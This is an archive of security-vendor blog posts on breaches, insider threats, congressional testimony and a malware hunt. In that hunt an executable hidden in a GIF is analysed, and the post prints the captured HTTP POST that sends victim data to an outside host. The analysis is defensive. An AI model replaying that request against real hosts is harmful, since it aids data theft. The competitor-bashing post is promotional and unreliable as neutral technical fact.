The Power of Realtime Network Forensics – Advanced Malware Detection

Network Visbility, network forensics No Comments

Hey gang…Alex here…writing from the NetWitness Labs…

At NetWitness, our focus is on providing analytics, and we are constantly looking at new ways to apply our unique analytics to the realm of content development.  We know that we have really cool technology and want to showcase that as well as push the envelope of what is possible in this space.   If you’ve seen the recent rule update on the freeware welcome page you are seeing the results of these efforts first hand.

If you’ve been following the threat landscape for the past few years, you will know without question that malware is a key part of both cybercrimal and nation-state hacking activity.   You also know that current security technologies are woefully inadequate in detecting targeted and obfuscated malware.  Keeping a network secure requires knowledge of normalcy on your network as well a cutting edge technology to quickly make you aware of deviations from this normalcy.

Part of this concept is using knowledge of what’s “normal” to define what’s “abnormal”.   In this example I’ll use windows executables.  We know from common IT knowledge that windows executables often end with an “.exe” extension (among others).   Those with a forensic background also know that Windows executables are forensically identifiable by looking for a file signature that includes common “tells”.   An example of this is the PE file header,  commonly refereed to as “MZ”.

If I take these existing bits of knowledge and combine them, I have the basis for a detection of “abnormal” executables as follows:

“If forensic signature equals windows executable,  but the file extension doesn’t equal a known executable extension, let me know about it!”

With this concept in mind, one of my extremely talented coworkers (Gary Golomb), put together a flex parser with the sole purpose of detecting file signatures on the wire.   Think of a forensic analysis of filetypes using a dedicated host forensic tool like Encase or Forensic Tool Kit, but on the network and in real-time.   We’ve been testing this parser in various scenarios as warranted, and recently made an interesting discovery while at a client site.

During this engagement, we began investigating hits on our “file signature windows executable” parser, which is designed to generate “alert” metadata in the NetWitness framework when it detects forensic executable tells.

Alert Rule Hit!

Meet 343njpl.jpg:

One of the files that triggered this alert was the following file, which was downloaded from the “tinypic.com” file hosting service and was named 343njpl.jpg:

Hidden File

When I look at this file forensically,  I see an interesting inconsistency.   The file header identifies the file as a GIF, not a JPG.  Something is amiss!

Not a JPG at all!

Digging further…I see that there is, in fact, an executable file header buried in the file:

Exe Header

What’s interesting to note here, is that this file renders as a GIF correctly in a web browser, so if you were to wander across it during an investigation, it would not be readily apparent that it is hiding an executable.

With this new knowledge,  We then submitted the file to virustotal to determine if it is known malicious.   The results were not promising, with 3 detections out of 41:

http://www.virustotal.com/analisis/073a4210835e026712e5aa08e18004eabe9c8c4dc7b4565db47a34e38b565b8b-1258144380

At this point we really wanted to dig deeper and figure out what this file is trying to do,  so we opened the file in a hex editor and carved the EXE out of the file, then resubmitted to virustotal…results were much better this time, but still only about 65% with 27 out of 41 detections.

http://www.virustotal.com/analisis/0ccfe86dc2ab9cd8b9f589bae6666c903af8de2ee2bfcce4dc8464346b4e761a-1256743615

Ok…so we know that this file is indeed malicous now.  So what does it actually do?    If we use some malware analysis techniques, we discover that this initially reports installed applications to a webserver in the netherlands:

POST /65/logpl.php HTTP/1.1
Referer: http://google.com/
Content-Type: application/x-www-form-urlencoded
User-Agent: hello
Host: www2.sexown.com
Content-Length: 692
Cache-Control: no-cache

pl=plV:1.1|Adobe_Flash_Player_10_ActiveXV:10.0.22.87|Explorer_Suite_III|IDA_Pro_D
emo_v5.4|InstallWatch_Pro_2.5|Malcode_Analyst_Pack_v0.21|Microsoft_.NET_Framework
_3.5_SP1|Mozilla_Firefox_(3.5)V:3.5 (en-US)|Notepad++V:5.4.4|Paros_3.2.13|Windows
_XP_Service_Pack_3V:20080414.031525|WinPcap_4.1_beta5V:4.1.0.1452|Wireshark_1.2.0
V:1.2.0|Mandiant_Red_CurtainV:1.0.0|Python_2.6.2V:2.6.2150|Java(TM)_6_Update_14V:
6.0.140|WebFldrs_XPV:9.50.7523|Mandiant_Web_HistorianV:1.3.0|Mandiant_Highlighter
V:1.1.1|MemoryzeV:1.3.1000|Microsoft_.NET_Framework_3.0_Service_Pack_2V:3.2.30729
|Microsoft_.NET_Framework_2.0_Service_Pack_2V:2.2.30729|Microsoft_.NET_Framework_
3.5_SP1V:3.5.30729|VMware_ToolsV:7.9.6.5197|

So let’s review the facts:

- A file that strays from the expected norm is detected by NetWitness technology, being served from a common file hosting site.

- This file properly renders as a GIF in a web browser, but contains an embedded executable.

- Malware detection on this sample in its embedded form is dismal, but gets better when the executable is extracted from the GIF.

- Using behavioral analysis, we can determine that the attached executable is an information stealer, at the very least.

Tied to an alerting mechanism in Netwitness Informer, we could have this alert sent directly to an enterprise SOC for response, informing them of unusual executable behavior, without having to rely on signature-based malware controls!

NetWitness….letting you see your network like never before.   :)


Competitor Hype and Bull – It's the Analytics Stupid!

Advanced Threats, Competitor Hype, Data Leakage, Network Visbility No Comments

I was at the CSI show yesterday and was within earshot of one of our “competitors” who claimed that they were winning against NetWitness because they support 10Gbps and we do not.   I have heard this story frequently from this particular firm, and it’s a bunch of bull.

It amazes me that companies in this space, such as Niksun and Solera Networks, spend so much time emphasizing how they allegedly can capture at 10Gbps line rates – as if that’s the most important requirement for public and private organizations struggling to cope with critical advanced threats, complex data leakage scenarios, network forensics, designer malware and botnet infestations, and increasing insider crime and fraud.

Solera Networks publicly asserts that their product was certified by Miercom Labs as 10Gbps capable.  If you look at the report on their Website, however (http://www.soleranetworks.com/resources/Solera%20DS5100_Miercom%20test.pdf), you will see that a top capture rate of 8.1 Gbps was achieved solely when the “packet size” was forced to 1,518 bytes.  At other packet sizes, the performance dropped off steadily.

The practical application of the Miercom report for Solera Networks is dubious in the real world.  For example, let’s assume that in Miercom’s vernacular “packet size” is equal to “message transmission unit” (MTU).  1,518 is the maximum MTU for the transmission of data over IEEE 802 networks according to RFC 1042.  But it is unrealistic to imagine that every consecutive packet on a customer network would be 1,518.  In fact, the typical default MTU setting for devices such as routers and servers processing a protocol such as HTTP over TCP/IP is 576 – most network and system administrators today work under this assumption.  In a real customer environment with a large amount of HTTP traffic, the Miercom numbers would put the theoretical Solera throughput somewhere around 6Gbps, versus the claimed 10Gbps.  Real life is different than the lab, however, and the reality is that customer application-layer traffic produces actual average MTUs of far less than 576, thereby lowering the potential performance results below the assertions made by some vendors to something more like an average MTU of 300 — or a throughput of around 3Gbps according to the Miercom results.

Such misleading lab reports also do not address other concerns, such as the technical challenges associated with capturing at a 10Gbps on single network appliance, given physical bus bandwidth constraints and disk write speed limitations — and still offering meaningful and timely analytics to security users.  Every vendor who is engineering solutions in this space has confronted this dynamic — but most vendors do not address this problem in their marketecture because they do not have a solution.

As the consumer of solutions in this space, you should be aware of this:   The reason this issue is not discussed in any meaningful way by some vendors is because they have no real-time automated and interactive analytical capability beyond basic and often erroneous network statistics.

Consider this screenshot from Solera Networks post-facto user console:

Notice specifically the port assumptions made by the product:

To assume in 2009 that TCP ports 80 and 443 are inclusive to web traffic simply is ridiculous.  Not only is this type of analysis absurd from a network forensics perspective, but also would seem at odds with the term “deep packet inspection”.  Consider the following drill into the HTTP service using NetWitness Investigator, on even a single day of capture from the NetWitness corporate HQ:

This screenshot represents only a small portion of the available information about the HTTP protocol.  This level of detail is possible because NetWitness does complete port agnostic session analysis in an automated real-time manner, upon collection.  You cannot get there from here with other vendors like Niksun and Solera Networks.  One of the vendor’s Websites says it most succinctly:

Once you find the traffic flow you are looking for, you can download a PCAP file of just that data and analyze the traffic using any tool that analyzes PCAP files. Or you can save it for later and use it to analyze when you have time or need evidentiary proof of malicious activity.”

There are some pretty big and unfortunate “IF”s that customers should consider before engaging with any vendor operating under such assumptions:

1.  How do I actually go about “finding the traffic you are looking for” within tens or perhaps hundreds of terabytes of data in post-facto analysis?

2.  Why would I “save it for later” and “analyze it when you have time” when it could be something critical that requires immediate attention?  The assumption is that nothing here has a sense of urgency.

3.  Forget about real-time incident response, automated analytics, or integration with your SIEM or other existing security tools…not addressed.

4.  Your organization’s security staff still has to use NetWitness Investigator to satisfy the “analyze the traffic using any tool that analyzes PCAP files” requirement in order to use this vendor’s product — and that after finding both the haystack and the needle, which you would have found already had you been using NetWitness.

All this discussion highlights the value of working with NetWitness, an engineering company dedicated to solving the important problems of security professionals, law enforcement, intelligence analysts and other people focused on cyber security issues.  NetWitness offers a 10Gbps solution and it is running on some of the largest networks in the world — we’ve been doing it for a while — but we do it in a sensible way.  We do not go to market trying to sell you “disk write speeds” or “appliance capture rates” – that’s a waste of your money and should not be the most important focus for you.   Unlike anyone else in this space, we provide an infinitely extensible data framework, real-time automated analytics, live data fusion and threat intelligence, and the best network forensics interface in the market today.  Without all that, you are just filling up disk drives.

NetWitness CEO Amit Yoran Testifies Before Congress

Leadership 1 Comment

Chairman and CEO of NetWitness, Amit Yoran, gave testimony yesterday to the House Committee on Homeland Security regarding the Review of the Federal Cyberspace Mission.  The House Committee wanted Mr. Yoran’s input based on his leadership in cyber security in the private and Federal space and his experiences as the first Director of the National Cyber Security Division (NCSD) and standing up the United States Computer Emergency Readiness Team (US-CERT) and Einstein program at the Department of Homeland Security (DHS), and as founder and CEO of Riptech.

Below is his five-minute summary to the Committee.

Ms. Chairwoman and members of the committee, thank you for the opportunity to testify before the Homeland Security Committee on Reviewing the Federal Cybersecurity Mission and for your attention to this important topic.

My name is Amit Yoran and I have a lot to say, so I’ll skip reading you my bio and jump into it.

Any effective national cyber effort must leverage the intelligence community’s superior technical acumen and scalability.  However, it is in grave peril if this effort is dominated by the intelligence community.  Simply put, the intelligence community has always and will always prioritize its own collection efforts over the defense and protection of our government’s and nation’s digital systems.  Where intelligence operations discover a compromise, the decision to inform system defenders or not, lacks transparency.  Mission conflict exists between those defending systems and those attempting to collect intelligence or counter intelligence insights.

The current series of cyber programs call for billions of dollars in funding for intelligence and centralized security efforts but are designed with very little emphasis on helping defenders better protect the systems housing our valuable data and business processes.  For instance the Center for Disease Control, which houses sensitive research and information about biological threats such as Anthrax, has ongoing cyber incidents which it lacks the personnel and technologies to adequately investigate,  In the face of spending billions more on centralized cyber intelligence activities, the CDC’s cyber budget is being cut by 37%.

Intelligence focused, our national cyber efforts are over-classified to the point where catastrophic consequences are highly probable.  High levels of classification prevent the sharing of information necessary to adequately defend systems.  For instance, IP addresses, when classified cannot be loaded into defensive monitoring systems.  It also creates insurmountable hurdles when working with a broad range of government IT staffs that do not have appropriate clearances, let alone when trying to communicate or partner with the private sector.

Classification cannot be used effectively as a cyber defensive technique, only one for avoiding responsibility and accountability. Over-classification leads to a narrowly limited review of any program.  One of the hard learned lessons from the Terrorist Surveillance Program (TSP) is that such limited review can lead to ineffective legal vetting of a program.  The cyber mission cannot be plagued by the same flaws as the TSP.

An immediate, thorough and transparent legal analysis of the governance, authorities, and privacy requirements should be performed on both the efforts used to protect IT systems as well as all cyber collection activities.  Given the broad concerns of over-classification and its cascading consequences, conducting these reviews must be a high priority task.

Cyber research investments are practically nonexistent at a time when bold new visions need to be explored.

The Department of Homeland Security (DHS) has demonstrated inefficiency and leadership failure in its cyber efforts.  While pockets of progress have been made, administrative incompetence and political infighting have squandered meaningful advancement and for years now, while our adversaries continue to aggressively press their advantage. DHS has repeated failed to either attract or retain the leadership and technical acumen required to successfully lead the cyber mission.  While the tendency would be to move the cyber mission to the NSA, it is ill advised for all of the reasons provided in my much longer written testimony.  We must enable civil government to succeed at its defensive mission or also concede that the private sector must be subjugated to intelligence support.

DHS is the natural and appropriate placement for public private partnership and cooperative activities, including those in cyber.  The current set of public private partnerships is at best ill defined.  They categorically suffer from meaningful value creation or private sector incentive.

Such incentives might include tax credits, fines, liability levers, public recognition, or even occur at an operational level, through mechanisms such as the sharing of threat intelligence, technical knowledge or incident response support to name just a few.

Trust relationships when dealing in cyber security matters are critical.  In discussions among privacy and civil liberties groups the role of the NSA in monitoring or defending US networks is debated.  Should such intelligence programs exist, DHS should be very careful before participation in, supporting  or engagement in these activities.   The department’s ability to fulfill its primary mission and responsibilities may be permanently damaged by a loss of public confidence and trust.

At a bare minimum, in order to preserve public trust, any interaction with domestic intelligence collection efforts should be explicitly and clearly articulated.  Such transparency will increase public trust and confidence and offset concerns raised by uncertainty and the uninformed.

DHS must be formally charged with and enabled to build an effective cyber capability in support of securing federal civilian systems.

Special provisions should be made in the hiring, contracting, human resources and political issues within the cyber mission of DHS to prevent it from remaining a victim of the department’s broader administrative failures.

DHS should also be given specific emergency authorities to address security concerns in civil systems, to include the ability to measure compliance with security standards, protocols and practices and take decisive action where organizations are not applying reasonable standards of care.

At present the operations cybersecurity arm of DHS, the US-CERT, remains politically torn apart into three components and completely subjugated to a cadre of detailees from the intelligence community.  In order to regain efficiency, the department’s operational security role activites must be reconsolidated in the US-CERT.  This operational mission is not resourced to succeed with less than 20 government FTEs, and a budget of only $67 million.  Additionally, the US-CERT must be led by a single federal civil executive.

The US-CERT must be provided appropriate staffing levels to move forward and given adequate funding.  Not doing so cannot help but send the strongest message to the cyber community, the rest of government, the intelligence community and the critical infrastructure in the private sector that cybersecurity does not matter to DHS leadership and should not matter to them.

A newly focused US-CERT should report directly to the Secretary of DHS, just as NTOC reports to the Director of the NSA.  The cyber responsibilities of the department must not remain buried in the bureaucracy of DHS or, alternatively, they must be removed and placed in an independent agency where they can succeed.

Amit Yoran’s full written testimony is available for download from the Committee website here.

Video archival footage of this Committee proceeding is available here.

Adobe announces new vulnerability in Adobe 9 Software After Reports of Zero Day Exploits

Insider Threat No Comments

On February 19th, Adobe confirmed reports that its version 9 software of Adobe Acrobat and Adobe Reader were vulnerable to buffer overflows that have allowed some companies to be targeted in spearphishing attacks.

Their announcement said:

A critical vulnerability has been identified in Adobe Reader 9 and Acrobat 9 and earlier versions. This vulnerability would cause the application to crash and could potentially allow an attacker to take control of the affected system. There are reports that this issue is being exploited.

Adobe is planning to release updates to Adobe Reader and Acrobat to resolve the relevant security issue. Adobe expects to make available an update for Adobe Reader 9 and Acrobat 9 by March 11th, 2009. Updates for Adobe Reader 8 and Acrobat 8 will follow soon after, with Adobe Reader 7 and Acrobat 7 updates to follow. In the meantime, Adobe is in contact with anti-virus vendors, including McAfee and Symantec, on this issue in order to ensure the security of our mutual customers.

McAffee’s Avert Lab Blog has screenshots of the buffer overflow in action here. They go on to say:

Needless to further remind everyone, zero-day attacks are the preferred choice of cyber criminals and will continue to be so in 2009. If the recent W32/Conficker.worm (MS08-087) and Exploit-XMLhttp.d (MS08-078, MS09-002) were not good enough to prove our point, here is another one.

As a reminder, the Better Business Bureau phishing scam successfully exploited many large companies last year by sending emails with malicious .PDF attachments to executives of those companies. And since there will not be a patch in place until Mid-March, extra vigilance is required to prevent this exploit from affecting you.

Zero Day exploits don’t typically remain targeted against just a few enterprises for long. Within days we expect this exploit to accompany broader mass phishing attempts. And given the IRS tax season, perhaps malicious .Pdf’s will be seen targeting taxpayers via email.

Malicious Insider Plants Logic Bomb to Wipe Out Fannie Mae Data

Insider Threat No Comments

A senior Unix administrator known only as “SK” admitted she got lucky when she found the malicious script planted in a development server on the network.  “The malicious script was at the bottom of the legitimate script, separated by approximately one page of blank lines, apparently in an effort to hide the malicious script within the legitimate script,” states an affidavit filed against Rajendrasinh Makwana, an Indian citizen living in the United States under a work visa.  Makwana is accused of illegally accessing Fannie’s network after being fired from the job. Had the script executed as planned, 4000 servers at Fannie would have been wiped clean tomorrow, January 31st.

According to an InformationWeek article here:

The discovery occurred on Oct. 29. Makwana had been terminated as a Fannie Mae contractor on Oct. 24, around 1 or 1:30 p.m., the affidavit says, but his network access was not terminated until late that evening. Makwana was fired for allegedly creating a computer script earlier that month that changed server settings without the permission of his supervisor.

Makwana was not required to turn in his badge or Fannie Mae-supplied laptop until the end of the day on Oct. 24. According to Nye’s affidavit, it was during that afternoon that Makwana is alleged to have planted the malicious script.

Makwana had planted his script by using his existing credentials over an encrypted channel.  Since his accounts were still active and his access rights still in place, no technological solution could have prevented or stopped such an attack.  But it clearly highlights the threats posed by internal users.

Information security is sometimes more about enforcing procedures than policies.  In Makwana’s case, the policies were followed for a termination in that accounts were disabled by the end of the employee’s last working day, but the procedures perhaps could have included building security escorting the employee and  the timely confiscation of corporate equipment.

Everyone wants to trust their employees as friends and colleagues.  And enforcing a procedure that requires a security guard to watch the employee pack his things and turn in building passes, credentials, laptops, phones, and other personal items just makes your company look like a cruel, bullying entity.  However, not following such a process could jeopardize your data.

Come See Us at the DoD CyberCrime Conference

On The Road No Comments

We are pleased to be a part of the DoD CyberCrime Conference in chilly St. Louis Missouri.  Conference goers should feel free to stop by, say hello, and check out the demonstrations of our NextGen software.

Hackers Swipe Information on Job Seekers From Monster.Com

Breach, Data Leakage, Network Visbility No Comments

For the second time in 18 months, Monster.Com has suffered a massive security breach.  In both cases, user account information was stolen, along with the email addresses and names of job seekers.  When this happened in August of 2007, 1.3 Million accounts were taken when an employee of the company divulged his credentials via a Trojan Horse program.  Within days of that attack, users of Monster.com who had their account information stolen found they were victims of targeted malware phishing attacks and, since hackers assume Monster.Com users are out of a job, many were invited to become money laundering mules for criminal hacker organizations.

In the latest breach, Monster put a notice here on their website that says:

As is the case with many companies that maintain large databases of information, Monster is the target of illegal attempts to access and extract information from its database. We recently learned our database was illegally accessed and certain contact and account data were taken, including Monster user IDs and passwords, email addresses, names, phone numbers, and some basic demographic data. The information accessed does not include resumes. Monster does not generally collect – and the accessed information does not include – sensitive data such as social security numbers or personal financial data.

Immediately upon learning about this, Monster initiated an investigation and took corrective steps. It is important to know the company continually monitors for any illicit use of information in our database, and so far, we have not detected the misuse of this information.

Now let’s flash back to 2007 and their statement to the press regarding that breach:

Sal Iannuzzi, the company’s chairman and chief executive, said the company was improving its surveillance of how the site is used as well as limiting the way data can be accessed. Iannuzzi declined to provide specific details about how the new security measures will work, saying he didn’t want to make them vulnerable to potential hackers.

Whatever improvements were made in Monster’s network surveillance and security measures were not adequate to deal with the severity of the threats the organization is facing from sophisticated adversaries.  In light of this second breach, Monster should review what went wrong with their previous remediation plan and develop something better to help them identify data breaches quickly and lock down their customer records.  Monster, as many enterprises today, simply needs better and deeper visibility into their network traffic.

NetWitness NextGen provides a new paradigm for network security monitoring.  Full packet capture and session analysis provides the ultimate truth about data crossing the wire because you are dealing with ALL the data — not just signatures or statistics or scans.  Your security managers actually will know what types of information is crossing network interfaces, will better understand the risks of that data in motion, and can therefore make better decisions about reducing those risks.  And regardless of how the hacker tries to exfiltrate the data -  via the web, trojanized control port to the internal network, or a disgruntled insider- NetWitness helps you close the gaps.

For Monster users, please change your password on the site.  Other bloggers are reporting that usernames and passwords were stored in clear text.  If so, and you use the same username and passwords on other accounts, you may wish to change those credentials as well.

Largest Ever Cyber Breach Reported by Heartland Payment Systems

Data Leakage No Comments

If you have dined out at a local family restaurant in the past few months, or perhaps paid for books for your college-bound kids, or even paid for gasoline at the pumps with a credit card, you may have inadvertently allowed hackers to steal your credit card number during the transaction phase that takes place on Heartland Payment Systems’ backend network.

The Washington Post’s Brian Krebs broke the story yesterday. He writes on his SecurityFix blog here:

Heartland, which processes payments for more than 250,000 businesses, began receiving fraudulent activity reports late last year from MasterCard and Visa on cards that had all been used at merchants which rely on Heartland to process payments

40 percent of transactions the company processes are from small to mid-sized restaurants across the country.

Heartland called U.S. Secret Service and hired two breach forensics teams to investigate. It wasn’t until last week that investigators uncovered the source of the breach: A piece of malicious software planted on the company’s payment processing network that recorded payment card data as it was being sent for processing to Heartland by thousands of the company’s retail clients.

Heartland does not know how long the malicious software was in place, how it got there or how many accounts may have been compromised. The stolen data includes names, credit and debit card numbers and expiration dates.

The transactional data crossing our platform, in terms of magnitude… is about 100 million transactions a month,” Heartland said.

The data stolen includes the digital information encoded onto the magnetic stripe built into the backs of credit and debit cards. Armed with this data, thieves can fashion counterfeit credit cards by imprinting the same stolen information onto fabricated cards.

In many cases where a processor experiences a breach, the affected banks may simply re-issue new cards to some customers. In other cases, consumers may spot the first signs of fraudulent activity by reviewing their bank statements.

Heartland Payment systems also went on to declare to the Wall Street Journal that the breach was due to a magnificent piece of malware that was “lightyears” ahead of what other hackers could do.

Heartland was targeted with malicious software that was “light-years more sophisticated” than malevolent programs commonly downloaded from the Internet.

NetWitness understands that cyber breaches happen.  Maybe this piece of malware was more sophisticated than than usual, but it was still malware that evaded standard security software detection capabilities.  Firewalls and intrusion detection systems alone cannot alert security personnel to activity that was designed by criminals to evade detection

Exfiltrated data can be recorded as it happens, along with how the malware came to be downloaded to the network.  And those packet collections can be preserved so when reports come in that data is being used fraudulently, you don’t have to pour over audit trails, IDS alerts and firewall logs looking for the problem.  You have the network traffic itself for audit.  And with NetWitness Investigator, analysts can easily spot the problem communications.  No need to wait for the Secret Service to show up with a forensics team.

In the meantime, keep an eye on your credit card bills for any suspicious charges.  Any fraudulent activity should be reported to your financial institution immediately.